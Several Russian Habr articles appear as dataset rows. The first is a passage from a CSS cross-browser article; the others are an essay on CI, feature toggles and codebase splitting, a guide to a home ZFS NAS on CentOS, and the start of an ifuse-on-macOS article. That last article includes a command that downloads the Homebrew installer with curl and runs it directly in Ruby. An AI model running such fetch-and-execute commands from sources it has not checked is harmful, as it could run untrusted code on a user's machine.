Здесь мы наблюдаем необходимость добавить вендорное свойство *-webkit-*. Остаётся решить проблему с FF 3.6 и IE7 — IE4.
* Всё тоже самое что и в предыдущем свойстве, только нужно добавить поддержку для движка [WebKit](http://ru.wikipedia.org/wiki/WebKit)
Код:
```
element{
box-shadow: 5px 5px 10px #000000;
-webkit-box-shadow: 5px 5px 10px #000000;
behavior: url("public/htc/PIE.htc");
}
```
*Поддержка: IE6++, FF4++, GC1++, Opera10.5+, Safari5+*
#### Opacity
Здесь поддерживается везде, кроме наших любимых IE7 и IE8.
* Проблему решим с помощью достаточно ресурсоёмкого filter'a
Код:
```
element{
opacity: 0.3;
filter: alpha(opacity=30);
}
```
*Поддержка: IE6++, FF3.6++, GC1++, Opera10.5+, Safari5+*
#### Linear-gradient
Достаточно редкое свойство, из-за этого все стараются обойтись без него и использовать background. Но раз идти, то идти до конца. Смотрите:
Я не буду описывать что нужно писать для каждого браузера, приведу сразу код со всеми свойствами. Да, и для IE мы снова подключаем PIE.htc
Код:
```
element{
background-color: #F07575;
background-image: -webkit-gradient(linear, left top, left bottom, from(hsl(0, 80%, 70%)), to(#BADA55));
background-image: -webkit-linear-gradient(top, hsl(0, 80%, 70%), #BADA55);
background-image: -moz-linear-gradient(top, hsl(0, 80%, 70%), #BADA55);
background-image: -ms-linear-gradient(top, hsl(0, 80%, 70%), #BADA55);
background-image: -o-linear-gradient(top, hsl(0, 80%, 70%), #BADA55);
background-image: linear-gradient(to bottom, hsl(0, 80%, 70%), #BADA55);
-pie-background: url(bg-image.png) no-repeat, linear-gradient(#CCC, #EEE);
}
```
*Поддержка: IE6++, FF3.6++, GC1++, Opera10.5+, Safari5+*
Вот такое объёмное свойство.
В принципе это всё что я хотел донести. Но хочется ещё сказать слово о ресурсоёмкости в IE. Да, применение PIE и фильтров это достаточно громоздкие операции, и применять их следует только в тех случаях, когда другого выхода нет. Лично я их применяю когда знаю что контент явно будет тянуться и изменятся и обычным background'om градиента проблему не решить, а кто то старается шагать в ногу со временем. В любом случае это Ваш выбор.
Для начала советую обусловить это со своим руководителем, и обозначить некие границы, которые позволят Вам применять ту или иную технику.
Спасибо за Внимание! | https://habr.com/ru/post/139969/ | null | ru | null |
# Динамичность должна быть безопасной
*Евгений (Джим) Брикман является автором книги «Hello, Startup» («Привет, стартап») и основателем компании «Atomic Squirrel», которая специализируется на помощи стартапам. До этого он больше десяти лет работал в таких компаниях, как Linkedln, TripAdvisor, Cisco Systems, Thomson Financial. Он также имеет степени бакалавра и магистра компьютерных наук Корнелльского университета.*
**Представьте себе, ваша работа состоит в том, чтобы все автомобили на автостраде ехали быстрее. Что произошло бы, если бы вы просто сказали всем водителям вдавить до упора педаль газа?**
Ясно, что результатом была бы катастрофа. И, всё же, это — точно тот тип отношений, который многие разработчики пытаются реализовать, стремясь создать программное обеспечение быстрее. Здесь несколько из причин, почему они делают так:
**«Мы пытаемся быть действительно динамичными, поэтому мы не тратим время напрасно на разработку структуры или документации.»
«Я должен отправить это на производство немедленно, поэтому у меня нет времени писать тесты!»
«У нас не было времени автоматизировать что-либо, поэтому мы просто развёртываем наш код вручную.»**
Для автомобилей на автостраде вождение с высокой скоростью требует особого внимания к обеспечению безопасности. Чтобы можно было вести автомобиль быстро, на нём должны быть соответствующие устройства, например, тормоза, ремни и подушки безопасности, сберегающие водителя, если что-то пойдёт не так.
Для программного обеспечения динамичность также требует обеспечения безопасности. Есть разница между достижением разумных компромиссов и устремлённостью вперёд вслепую без мыслей об осторожности. Должны быть механизмы обеспечения безопасности, которые минимизируют потери при неблагоприятном развитии событий. Опрометчивый двигается, в конечном счёте, медленнее, а не быстрее:
• Один час, «сэкономленный» на ненаписании тестов, будет стоить вам пяти часов на поиск ошибки, вызывающей сбой на производстве, и ещё пяти часов, если ваша «заплата» породит новую ошибку.
• Вместо того чтобы затратить тридцать минут на написание документации, вы будете по часу учить каждого сотрудника, как использовать вашу программу, и тратить часы на разбирательства, если сотрудники начнут работать с вашим продуктом неправильно.
• Можно сэкономить немного времени, не заботясь об автоматизации, но будет затрачено намного больше времени на повторяющийся ввод кода вручную и ещё больше времени на поиск ошибок, если какой-то этап окажется случайно пропущенным.
Каковы ключевые механизмы обеспечения безопасности в мире программного обеспечения? В этой статье будут представлены три механизма обеспечения безопасности в мире автомобилей и аналогичные механизмы из мира программ.
#### Тормоза / непрерывная интеграция
Хорошие тормоза останавливают автомобиль до того, как проблема станет действительно серьёзной. В программном обеспечении непрерывная интеграция останавливает неправильную программу до того, как она уйдёт в производство. Чтобы понять термин «непрерывная интеграция», рассмотрим сначала его противоположность: поздняя интеграция.
*Рис. 1. Международная космическая станция*
Представьте себе, что вы отвечаете за постройку международной космической станции (МКС), состоящей из множества компонентов, как показано на рис. 1. Команды из разных стран должны изготовить тот или иной компонент, и вы решаете, как всё организовать. Есть два варианта:
• Заранее разработать все компоненты, после чего каждая команда уйдёт и будет работать со своим компонентом в полной изоляции. Когда все компоненты будут готовы, вы запустите их все вместе в космос и попытаетесь свести воедино.
• Разработать первоначальную исходную конструкцию для всех компонентов, после чего каждая команда приступит к работе. Каждая команда по мере разработки своего компонента непрерывно тестирует каждый компонент вместе с другими и изменяет подход, структуру, конструкцию, если возникают какие-либо проблемы. Компоненты по готовности уходят поодиночке в космос, где их последовательно собирают.
В варианте №1 попытка в конце собрать всю МКС приведёт к большому количеству конфликтов и конструкторских проблем: выяснится, что немецкая команда, оказывается, думала, что кабельную разводку должны делать французы, тогда как последние были уверены, что это задача англичан; вдруг обнаружится, что все команды использовали метрическую систему измерения, а вот одна — британскую; ни одна команда не посчитала для себя важной операцию установки туалета. Выявление всего этого, когда всё уже изготовлено и летает в космосе, означает, что решение проблем будет очень трудным и дорогим.
К сожалению, именно этот путь многие компании используют при создании программного обеспечения. Разработчики действуют в полной изоляции в течение многих недель или месяцев непрерывно по своим направлениям и затем пытаются свести вместе свои разработки в выходной продукт в самую последнюю минуту. Этот процесс известен как «поздняя интеграция», и он часто приводит к большой потере времени (дни, недели) на устранение конфликтов слияния (см. рис. 2), поиск трудно обнаруживаемых ошибок и попытки застабилизировать выходные (релизные) ветки проекта.
*Рис. 2. Сведение вместе функциональных веток в выходную (релизную) ветку проекта приводит к тяжёлым конфликтам слияния*
Альтернативным подходом, описанным как вариант №2, является непрерывная интеграция, когда все разработчики регулярно сводят вместе результаты своей работы. Это выявляет проблемы в проекте до того, как разработчики продвинулись слишком далеко в неправильном направлении, и позволяет последовательно наращивать разработку. Наиболее распространённым способом непрерывной интеграции является использование модели «стволовой разработки».
В этой модели разработчики выполняют всю свою работу в одной и той же ветке, называемой «ствол» или «мастер» — в зависимости от системы управления версиями (Version Control System = VCS). Идея в том, что каждый регулярно загружает свой код в эту ветку, возможно даже несколько раз в день. Может ли работа всех разработчиков на одной единственной ветке, действительно, быть ценной? Стволовую разработку используют тысячи программистов на LinkedIn, Facebook и Google. Особенно впечатляет стволовая («транковая») статистика Гугла: каждый день на одной единственной ветке они координируют более чем 2 миллиарда строк кода и более 45 тысяч операций подтверждения.
*Рис. 3. В стволовой разработке каждый загружает свой код в одной и той же ветке.*
Как тысячи разработчиков могут часто загружать свои коды в одну и ту же ветку без конфликтов? Оказывается, что при частом выполнении небольших операций подтверждения вместо выполнения огромных монолитных слияний число конфликтов довольно мало, а возникающие конфликты являются желательными. Это связано с тем, что конфликты неизбежно будут существовать независимо от используемой стратегии интеграции, но легче разрешить конфликт, представляющий один-два дня работы (при непрерывной интеграции), чем конфликт, представляющий месяцы работы (при поздней интеграции).
А как обстоит дело со стабильностью ветки? Если все разработчики работают в одной и той же ветке и какой-либо разработчик загружает код, который не компилируется или вызывает серьёзные ошибки, то может быть заблокирован весь процесс. Чтобы предотвратить это, необходимо иметь самотестируемую компоновку. Самотестируемая компоновка является полностью автоматизированным процессом (т.е. её можно запустить одной командой), содержащим достаточное количество автоматизированных тестов; если все они проходят, то можно быть уверенным в стабильности кода. Обычный подход состоит в добавлении перехватчика операции подтверждения к вашей системе контроля версий (VCS), который принимает каждую такую операцию, проводит её через компоновку на каком-то сервере непрерывной интеграции (CI), таком как, например, Jenkins или Travis, и отвергает, если компоновка не проходит. Сервер CI является контролёром, проверяя каждую партию кода прежде, чем разрешить её загрузку в ствол; он действует как хороший тормоз, останавливающий плохой код до его ухода в производство.
*Без непрерывной интеграции ваше программное обеспечение считается неработающим, пока кто-то не покажет, что оно работает, — это происходит обычно на этапе тестирования или интеграции. При непрерывной интеграции считается, что ваше программное обеспечение работает (если, конечно, имеется достаточно комплексный набор автоматизированных тестов) при каждом новом изменении — и разработчик знает момент, когда происходит нарушение, будучи в состоянии немедленно устранить ошибку.*
**— Джез Хамбли и Дэвид Фарли, авторы книги «Continuous Delivery» («Непрерывная поставка ПО»)**
Как можно использовать непрерывную интеграцию, чтобы вносить большие изменения? Т.е., если вы работаете над характеристикой, которая требует недели, как можно осуществлять загрузку в ствол несколько раз в день? Одним из решений является использование выключателей характеристик (feature toggles).
#### Предохранительные защёлки / Выключатели характеристик
В начале 19-го века большинство людей избегало лифтов, опасаясь, что, если трос оборвётся, то пассажиры лифта погибнут. Чтобы решить проблему, Элиша Отис изобрёл «безопасный лифт» и провёл смелую демонстрацию его эффективности. Для этого Отис построил большую открытую шахту лифта, поднял открытый лифт на несколько этажей и перед собравшимися приказал помощнику обрезать трос, как показано на рис. 4. Лифт начал было падать, но сразу же был остановлен.
*Рис. 4. Элиша Отис демонстрирует «безопасный лифт».*
Как это работает? Ключевым элементом безопасного лифта является предохранительная защёлка, показанная на рис. 5. В исходном положении предохранительные защёлки полностью выдвинуты так, что они входят в фиксаторы на шахте лифта и не позволяют лифту двигаться. Только когда трос лифта достаточно натянут, предохранительные защёлки выходят из зацепления. Другими словами, защёлки находятся во втянутом состоянии только при неповреждённом тросе.
*Рис. 5. Рисунок из патента по безопасному лифту показывает шахту лифта с лифтом посередине (D), с предохранительными защёлками по бокам (f) и тросом наверху (G).*
В этой великолепной конструкции предохранительные защёлки обеспечивают безопасность по умолчанию. В программном обеспечении такую же функцию выполняют выключатели характеристик. Способ использовать выключатели характеристик состоит в том, чтобы заключить весь новый код в «if»-оператор, который ищет названный выключатель характеристики (например, showFeatureXYZ) в конфигурационном файле или базе данных.
*if (featureToggleEnabled(“showFeatureXYZ”)) {showFeatureXYZ()}*
Ключевая идея в том, что по умолчанию все выключатели характеристик находятся в положении «выкл.». Т.е. положение по умолчанию является безопасным. Это означает, что, пока действует оболочка выключателя характеристики, можно загружать и даже разворачивать незавершённые или ошибочные коды, поскольку «if»-оператор обеспечивает, что код не будет выполнен или не окажет какое-либо видимое воздействие.
После завершения работы над характеристикой можно перевести указанный выключатель характеристики в положение «вкл.». Проще всего сохранить названные выключатели характеристик и их значения в конфигурационных файлах. Таким образом, можно разрешить данную характеристику в конфигурации среды разработки, но запретить её для использования, пока она не будет завершена.
`# config.yml
dev:
showFeatureXYZ: true
prod:
showFeatureXYZ: false`
Более мощной опцией является наличие динамической системы, в которой можно задавать значение выключателя характеристики для каждого пользователя, и наличие пользовательского веб-интерфейса, в котором ваши сотрудники могут динамично изменять значения выключателей характеристик, чтобы разрешать или запрещать какие-то характеристики для определённых пользователей, как показано на рис. 6.
Например, при разработке можно первоначально разрешить какую-то характеристику только для сотрудников вашей компании. Когда характеристика завершена, можно разрешить её для 1% всех пользователей. Если всё нормально, то можно дать разрешение для 10% пользователей, затем для 50% и т.д. Если в какой-то момент возникает проблема, то пользовательский веб-интерфейс позволяет выключить рассматриваемую характеристику. Выключатели характеристик можно использовать даже для сравнительного тестирования.
*Рис. 6. Использование инструмента выключения характеристик XLNT в LinkedIn для включения некоторой характеристики для 1% пользователей США*
#### Переборки / Разделение базы исходного кода
На кораблях используют переборки для создания изолированных водонепроницаемых отсеков. Благодаря этому при разрушении корпуса происходит затопление только одного единственного отсека.
Точно так же в программном обеспечении можно разделить базу исходного кода на изолированные компоненты, благодаря чему проблема, если она возникнет, будет действовать в пределах только этого компонента.
Разделение базы исходного кода является важным, поскольку худшим свойством для базы исходного кода является избыточный размер. Чем больше размер программы, тем медленнее идёт её разработка. Например, рассмотрим табличку из книги Стива Макконелла «Совершенный код» (Steve McConnell «Code Complete», 2004), показывающую связь размера проекта (в строках кода) с плотностью ошибок (количество ошибок на тысячу строк кода):
Здесь видно, что по мере увеличения кодовой базы плотность ошибок растёт. Если база исходного кода увеличивается в 2 раза, то количество ошибок возрастает в 4-8 раз. И когда приходится работать более чем с полумиллионом кодовых строк, плотность ошибок может достигать одной ошибки на каждые 10 строк!
Причина этого состоит в том — если использовать цитату из книги Венката Субраманиама, Энди Ханта «Этюды на тему быстрой разработки программного обеспечения. Работа в реальном мире.» — что «разработка программного обеспечения происходит не на какой-то схеме, не в какой интегрированной среде разработки или в каком-то средстве проектирования; она происходит в вашей голове». База исходного кода, содержащая сотни тысяч кодовых строк, намного превышает то, что человек может удержать в голове. Невозможно рассмотреть все взаимодействия и тупиковые ситуации в такой огромной программе. **Поэтому необходима стратегия для разделения программы так, чтобы можно было в данный момент времени сфокусироваться на какой-то одной её части и безопасно оставить в стороне всё остальное.**
Имеются две главные стратегии для разделения кодовой базы: одна — введение зависимостей от искусственных признаков, а другая — введение архитектуры микросервисов.
Идея зависимостей от искусственных признаков состоит в таком изменении ваших модулей, чтобы они вместо зависимости от исходного кода других модулей (зависимость от источника) подчинялись версионированным искусственным признакам, выдаваемыми другими модулями (зависимость от искусственных признаков). Это, возможно, вы уже делаете с библиотеками открытых кодов. Чтобы использовать jQuery в вашей JavaScript-программе или Apache Kafka в вашем Java-коде, вы опираетесь не на исходный код соответствующих библиотек открытых кодов, а на версионированный искусственный признак, который эти библиотеки предоставляют, например, jquery-1.11-min.js или kafka-clients-0.8.1.jar. Если используется фиксированная версия каждого модуля, то изменения, осуществляемые разработчиками на таких модулях, не будут сказываться на вас, пока вы не выберете в явном виде обновление. Такой подход — подобно переборкам на корабле — изолирует вас от проблем в других компонентах.
Идея микросервисов состоит в переходе от единого монолитного приложения, в котором все ваши модули работают в одном и том же процессе и коммуницируют через функциональные вызовы, к изолированным сервисам, где каждый модуль работает в отдельном процессе — обычно на отдельном сервере — и где модули коммуницируют через сообщения. Сервисные границы действуют как границы прав собственности на программное обеспечение, поэтому микросервисы могут быть отличным способом позволить командам работать независимо от друг друга. Микросервисы также делают возможным использование множества разных технологий для создания ваших продуктов (например, один микросервис может быть построен на Python, другой — на Java, третий — на Ruby) и независимую оценку каждого сервиса.
Хотя зависимости от искусственных признаков и микросервисы имеют много достоинств, они также содержат немало существенных недостатков, не последним из которых для обоих методов является функционирование в противоречии с идеями непрерывной интеграции, описанными ранее. Полное обсуждение компромиссов см. в статье "[Splitting Up a Codebase into Microservices and Artifacts](https://engineering.linkedin.com/blog/2016/02/q-a-with-jim-brikman--splitting-up-a-codebase-into-microservices)" («Разделение базы исходного кода в подходах микросервисов и искусственных признаков»).
#### Три вопроса
Механизмы, обеспечивающие безопасность, позволяют двигаться быстрее, но — за всё приходится платить: они требуют предварительных затрат времени, когда разработка, фактически, замедляется. Как решить, сколько времени имеет смысл затратить на механизм безопасности для текущего продукта? Чтобы принять решение, необходимо поставить перед собой три вопроса:
**• Какова цена проблемы, устраняемой рассматриваемым механизмом?
• Какова цена самого механизма обеспечения безопасности?
• Насколько вероятно возникновение таких проблем?**
Чтобы закончить эту статью, давайте рассмотрим, как указанные выше три вопроса работают для распространённого решения: делать или нет автоматизированное тестирование.
Хотя некоторые несгибаемые энтузиасты тестирования утверждают, что следует писать тесты на всё и стремиться к 100%-му покрытию кода, чрезвычайно редко можно видеть что-нибудь близкое к этому в реальном мире. Когда я писал свою книгу «Hello, Startup» («Привет, стартап»), я интервьюировал разработчиков из некоторых наиболее успешных стартапов последнего десятилетия, включая Google, Facebook, LinkedIn, Twitter, Instagram, Stripe и GitHub. Оказалось, что все они шли на тщательно продуманные компромиссы в том, что проверять, а что не проверять, особенно в их первые годы.
Рассмотрим эти три вопроса.
#### Какова стоимость написания и обслуживания автоматизированных тестов?
Подготовка модульных тестов в настоящее время стоит недорого. Имеются высококачественные платформы тестирования почти для всех языков программирования; большинство компоновочных систем имеет встроенную поддержку для модульного тестирования и работает, как правило, быстро. С другой стороны, интеграционные тесты (особенно тесты пользовательского интерфейса) требуют задействования значительных частей вашей системы, что означает, что они более дорогие для настройки, медленнее работают и их тяжелее поддерживать.
Конечно, интеграционные тесты могут выловить много ошибок, которые пропустят модульные тесты. Но поскольку их настройка и проведение стоят довольно дорого, оказалось, что большинство стартапов направляет основные средства в большой комплекс модульных тестов, вкладывая лишь немного в небольшой набор чрезвычайно ценных и критических интеграционных тестов.
#### Какова стоимость ошибок, которые могут пройти, если нет автоматизированных тестов?
Если вы делаете прототип, который, скорее всего, выбросите через неделю, то стоимость ошибок низкая, поэтому инвестирование в тесты, вероятно, не окупится. С другой стороны, если вы создаёте систему обработки платежей, то стоимость ошибок очень высока: вы, конечно, не хотите списывать средства с кредитной карты клиента дважды или оперировать с неправильной суммой.
Хотя стартап-компании, в которых я общался с разработчиками, различались по их практике тестирования, но почти каждая определила для себя несколько частей их кодов – как правило, платежи, безопасность и хранение данных – нарушение которых является просто недопустимым и поэтому серьёзная проверка которых шла буквально с первого дня.
#### Какова вероятность получить ошибки без автоматизированных тестов?
Как было показано выше, по мере роста кодовой базы плотность ошибок растёт. То же самое действительно для увеличения размера команды и сложности проекта.
Для команды из двух программистов при коде из 10 000 строк будет достаточно потратить лишь 10% их времени на написание тестов; при двадцати программистах и коде из 100 000 строк на это уйдёт уже 20% их времени, а для команды из двухсот разработчиков кода с 1 млн. строк понадобится уже 50%!
По мере роста размера программы и количества разработчиков необходимо затрачивать сравнительно всё больше времени на тестирование. | https://habr.com/ru/post/300002/ | null | ru | null |
# Сборка недорогой домашней NAS-системы на Linux
[](https://habr.com/ru/company/ruvds/blog/523800/)
Я, как и многие другие пользователи MacBook Pro, столкнулся с проблемой недостачи внутренней памяти. Если говорить точнее, то используемый мной ежедневно rMBP был оснащен SSD объемом всего 256GB, чего, естественно, надолго не хватало.
А когда я плюс ко всему стал записывать видео во время своих полетов, ситуация только усугубилась. Объем заснятых материалов после таких полетов составлял 50+ GB, и мой несчастный SSD на 256GB очень скоро заполнился, вынудив меня приобрести внешний диск на 1TB. Тем не менее, спустя один год, и он перестал справляться с генерируемыми мной объемами данных, не говоря уже о том, что недостаток избыточности и резервного копирования делали его неподходящим для размещения важной информации.
Итак, в один момент я решил собрать NAS большого объема в надежде, что эта система продержится хотя бы пару лет, не требуя очередного апгрейда.
Эту статью я написал в первую очередь как памятку о том, что именно и как я делал на случай, если мне потребуется сделать это снова. Надеюсь, что и для вас она окажется полезна, если вы соберетесь делать то же самое.
Быть может проще купить?
------------------------
Итак, нам известно, что мы хотим получить, остается вопрос как?
Сначала я ознакомился с коммерческими решениями и рассмотрел, в частности, компанию Synology, которая, как предполагалось, предоставляет лучшие NAS-системы потребительского уровня на рынке. Однако стоимость этого сервиса оказалась достаточно высока. Самая дешевая система с 4-мя отсеками стоит $300+, и при этом жесткие диски в комплект не входят. Кроме того, сама внутренняя начинка такого комплекта не особо впечатляюща, что ставит под вопрос ее реальную производительность.
Тогда я и подумал: а почему бы не собрать NAS-сервер самому?
Поиск подходящего сервера
-------------------------
Если собираешься комплектовать такой сервер, то в первую очередь необходимо найти правильное железо. Для данной сборки должен вполне подойти подержанный сервер, так как для задач хранилища нам не потребуется особой производительности. Из необходимого же нужно отметить большой объем RAM, несколько SATA коннекторов и хорошие сетевые карты. Поскольку мой сервер будет работать в месте моего постоянного проживания, то и уровень шума тоже имеет значение.
Свои поиски я начал с eBay. Несмотря на то, что там я нашел много подержанных Dell PowerEdge R410/R210 стоимостью менее $100, имея опыт работы в серверном помещении, я знал, что эти блоки 1U издают слишком много шума и для домашнего использования не подойдут. Как правило, сервера формата tower чаще менее шумны, но, к сожалению, на eBay их было выставлено немного, и все они были либо дорогие, либо маломощные.
Следующим местом для поиска стал сайт Craiglist, где я нашел человека, продававшего подержанный HP ProLiant N40L всего за $75! Я был знаком с этими серверами, которые даже в подержанном виде обычно стоят в районе $300, так что я отправил продавцу письмо в надежде, что объявление еще актуально. Узнав, что так оно и есть, я, недолго думая, направился в Сан Матео, чтобы забрать этот сервер, который уже с первого взгляда меня однозначно порадовал. У него был минимальный износ и, за исключением небольшого налета пыли, все остальное было отлично.
**Фото сервера, сразу после покупки**
А вот спецификация приобретенного мной комплекта:
* **CPU**: AMD Turion(tm) II Neo N40L Dual-Core Processor (64-bit)
* **RAM**: 8 GB non-ECC RAM (установлен предыдущим владельцем)
* **Flash**: 4 GB USB Drive
* **SATA Connectors**: 4 + 1
* **NIC**: 1 Gbps on-board NIC
Стоит ли говорить, что несмотря на возраст в несколько лет, спецификация этого сервера по-прежнему превосходит большинство вариантов систем NAS, предлагаемых на рынке, особенно по оперативной памяти. Несколько позже я даже сделал апгрейд до 16 GB ECC с увеличенным объемом буфера и повышенной защитой данных.
Выбор жестких дисков
--------------------
Теперь у нас есть отличная работоспособная система и осталось подобрать для нее жесткие диски. Очевидно, что за те $75 я получил только сам сервер без HDD, что меня не удовлетворило.
Проведя небольшое исследование, я выяснил, что для работы с NAS-системами в круглосуточном режиме 24/7 лучше всего подходят HDD WD Red. Для их покупки я обратился на Amazon, где приобрел 4 экземпляра объемом по 3 TB. По сути, вы можете подключить любой предпочтительный HDD, но обратите внимание, чтобы они были одинакового объема и скорости. Это поможет вам избежать возможных проблем с производительности RAID в перспективе.
Настройка системы
-----------------
Думаю, что многие будут использовать для своих NAS-сборок систему [FreeNAS](http://www.freenas.org/), и в этом нет ничего плохого. Однако, несмотря на возможность установки этой системы на своем сервере, я предпочел использовать CentOS, поскольку система ZFS on Linux изначально подготовлена к продакшен-среде, и вообще управление Linux-сервером мне более знакомо. Кроме того, меня не интересовал модный интерфейс и функции, предоставляемые FreeNAS – мне было достаточно массива RAIDZ и совместного использования AFP.
Установить CentOS на USB достаточно просто – достаточно указать USB в качестве источника загрузки, и при запуске мастер установки проведет вас по всем ее этапам.
Сборка RAID
-----------
После успешной установки CentOS я также установил ZFS on Linux, следуя перечисленным [здесь шагам](https://github.com/zfsonlinux/zfs/wiki/RHEL-%26-CentOS).
По завершении этого процесса я загрузил модуль ZFS Kernel:
```
$ sudo modprobe zfs
```
И создал массив RAIDZ1 при помощи команды `zpool`:
```
$ sudo zpool create data raidz1 ata-WDC_WD30EFRX-68AX9N0_WD-WMC1T0609145 ata-WDC_WD30EFRX-68AX9N0_WD-WMC1T0609146 ata-WDC_WD30EFRX-68AX9N0_WD-WMC1T0609147 ata-WDC_WD30EFRX-68AX9N0_WD-WMC1T0609148
$ sudo zpool add data log ata-SanDisk_Ultra_II_240GB_174204A06001-part5
$ sudo zpool add data cache ata-SanDisk_Ultra_II_240GB_174204A06001-part6
```
Обратите внимание, что здесь я использую ID жестких дисков вместо их отображенных имен (`sdx`), чтобы уменьшить шанс сбоя их монтирования после загрузки из-за смены буквенного обозначения.
Я также добавил ZIL и кэш L2ARC, выполняющиеся на отдельном SSD, разбив этот SSD на два раздела: 5GB под ZIL и остаток под L2ARC.
Что касается RAIDZ1, то он может выдержать отказ 1 диска. Многие утверждают, что данный вариант пула не следует использовать из-за вероятности выхода из строя второго диска в процессе пересборки RAID, что чревато потерей данных. Я же пренебрег этой рекомендацией, поскольку регулярно делал резервные копии важных данных на удаленном устройстве, и выход из строя даже всего массива может повлиять лишь на доступность данных, но не их сохранность. Если у вас нет возможности делать резервные копии, то лучше будет использовать решения, наподобие RAIDZ2 или RAID10.
Убедиться в успешности создания пула можно, выполнив:
```
$ sudo zpool status
```
и
```
$ sudo zfs list
NAME USED AVAIL REFER MOUNTPOINT
data 510G 7.16T 140K /mnt/data
```
По умолчанию ZFS монтирует только что созданный пул прямо в `/`, что, как правило, нежелательно. Изменить это можно, выполнив:
```
zfs set mountpoint=/mnt/data data
```
Отсюда вы можете выбрать создать один или несколько датасетов для хранения данных. Я создал два, один для бэкапа Time Machine и второй для общего хранилища файлов. Объем датасета Time Machine я ограничил квотой в 512 GB, чтобы предупредить его бесконечный рост.
Оптимизация
-----------
```
zfs set compression=on data
```
Эта команда включает поддержку сжатия ZFS. Сжатие задействует минимум мощности CPU, но может существенно улучшить пропускную способность I/O, поэтому всегда рекомендуется к использованию.
```
zfs set relatime=on data
```
С помощью этой команды мы уменьшаем количество обновлений до `atime`, чтобы уменьшить генерацию IOPS при обращении к файлам.
По умолчанию ZFS on Linux использует для ARC 50% физической памяти. В моем случае, когда общее число файлов невелико, этот объем можно безопасно увеличить до 90%, так как другие приложения на сервере выполняться не будут.
```
$ cat /etc/modprobe.d/zfs.conf
options zfs zfs_arc_max=14378074112
```
Затем при помощи [arc\_summary.py](https://github.com/zfsonlinux/zfs/blob/master/cmd/arc_summary/arc_summary.py) можно убедиться, что изменения вступили в силу:
```
$ python arc_summary.py
...
ARC Size: 100.05% 11.55 GiB
Target Size: (Adaptive) 100.00% 11.54 GiB
Min Size (Hard Limit): 0.27% 32.00 MiB
Max Size (High Water): 369:1 11.54 GiB
...
```
Настройка повторяющихся задач
-----------------------------
Я использовал [systemd-zpool-scrub](https://github.com/lnicola/systemd-zpool-scrub) для настройки systemd-таймеров на выполнение очистки раз в неделю и [zfs-auto-snapshot](https://github.com/zfsonlinux/zfs-auto-snapshot) для автоматического создания снимков состояния каждые 15 минут, 1 час и 1 день.
Установка Netatalk
------------------
[Netatalk](http://netatalk.sourceforge.net/) – это открытая реализация AFP ([Apple Filing Protocol](https://en.wikipedia.org/wiki/Apple_Filing_Protocol)). Следуя [официальной инструкции по установке для CentO](http://netatalk.sourceforge.net/wiki/index.php/Netatalk_3.1.11_SRPM_for_Fedora_and_CentOS)S, я буквально за пару минут получил собранный и установленный пакет RPM.
Настройка конфигурации
----------------------
```
$ cat /etc/netatalk/afp.conf
[datong@Titan ~]$ cat /etc/netatalk/afp.conf
;
; Netatalk 3.x configuration file
;
[Global]
; Global server settings
mimic model = TimeCapsule6,106
; [Homes]
; basedir regex = /home
; [My AFP Volume]
; path = /path/to/volume
; [My Time Machine Volume]
; path = /path/to/backup
; time machine = yes
[Datong's Files]
path = /mnt/data/datong
valid users = datong
[Datong's Time Machine Backups]
path = /mnt/data/datong_time_machine_backups
time machine = yes
valid users = datong
```
Обратите внимание, что `vol dbnest` является в моем случае серьезным улучшением, так как по умолчанию Netatalk пишет базу данных CNID в корень файловой системы, что было совсем нежелательно, поскольку моя основная файловая система выполняется на USB, в связи с чем работает относительно медленно. Включение же `vol dbnest` приводит к сохранению базы данных в корне Volume, который в этом случае относится к пулу ZFS и уже на порядок производительнее.
Включение портов в Firewall
---------------------------
```
$ sudo firewall-cmd --permanent --zone=public --add-service=mdns
$ sudo firewall-cmd --permanent --zone=public --add-port=afpovertcp/tcp
```
sudo firewall-cmd --permanent --zone=public --add-port=afpovertcp/tcp
Если все было настроено верно, то ваша машина должна отображаться в Finder, и Time Machine тоже должна работать.
Дополнительные установки
S.M.A.R.T мониторинг
----------------------------------------------
Рекомендуется отслеживать статус ваших дисков с целью предупреждения их отказа.
```
$ sudo yum install smartmontools
$ sudo systemctl start smartd
```
Демон для ИБП
-------------
Мониторит заряд ИБП APC и выключает систему, когда заряд становится критически мал.
```
$ sudo yum install epel-release
$ sudo yum install apcupsd
$ sudo systemctl enable apcupsd
```
Аппаратный апгрейд
------------------
Спустя неделю после настройки системы, я начал все больше беспокоиться о том, что в сервере установлена память без ECC. К тому же в случае с ZFS дополнительная память для буферизации будет весьма кстати. Поэтому я снова обратился к Amazon, где приобрел 2x Kingston DDR3 8GB ECC RAM за $80 каждый и заменил десктопный RAM, установленный предыдущим владельцем. Система с первого раза загрузилась без каких-либо проблем, и я убедился в том, что поддержка ECC была активирована:
```
$ dmesg | grep ECC
[ 10.492367] EDAC amd64: DRAM ECC enabled.
```
Результат
---------
Результат меня очень порадовал. Теперь я могу постоянно загружать 1Gbps LAN соединение сервера копированием файлов, и Time Machine работает безупречно. Так что, в общем и целом, настройкой я доволен.
Итоговая стоимость:
1. 1 \* HP ProLiant N40L = $75
2. 2 \* 8 GB ECC RAM = $174
3. 4 \* WD Red 3 TB HDD = $440
**Итого** = $689
Вот теперь я могу сказать, что цена того стоила.
А вы делаете самостоятельно сервера NAS?
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=Bright_Translate&utm_content=sborka_nedorogoj_domashnej_nas_sistemy_na_linux#order)
[](http://ruvds.com/ru-rub/news/read/123?utm_source=habr&utm_medium=article&utm_campaign=Bright_Translate&utm_content=sborka_nedorogoj_domashnej_nas_sistemy_na_linux) | https://habr.com/ru/post/523800/ | null | ru | null |
# Монтируем iOS под OSX с помощью ifuse
На днях столкнулся с задачей примонтировать в OSX 10.14 iPad в качестве внешнего диска, с возможностью осуществлять файловые операции из консоли. В интернете я нашел довольно много инструкций как это сделать с помощью файловой системы ifuse. К сожалению с iOS 12 ничего не вышло. Устройство было разблокировано, доступ к данным разрешен, но несмотря на это возникала ошибка:
```
Failed to connect to lockdownd service on the device.
Try again. If it still fails try rebooting your device.
```
Данная статья написана чтобы сэкономить время тем у кого возникнет та же задача.
На [github](https://github.com/libimobiledevice/ifuse/wiki) есть инструкция по сборке ifuse и основных зависимостей прямо из исходников в репозитории, но это довольно кропотливый путь так как у основных зависимостей есть еще множество зависимостей, а у них еще и т. д. Поэтому воспользуемся системой управления пакетов [Homebrew](https://brew.sh/index_ru).
Устанавливается она с помощью скрипта на оффсайте:
```
/usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"
```
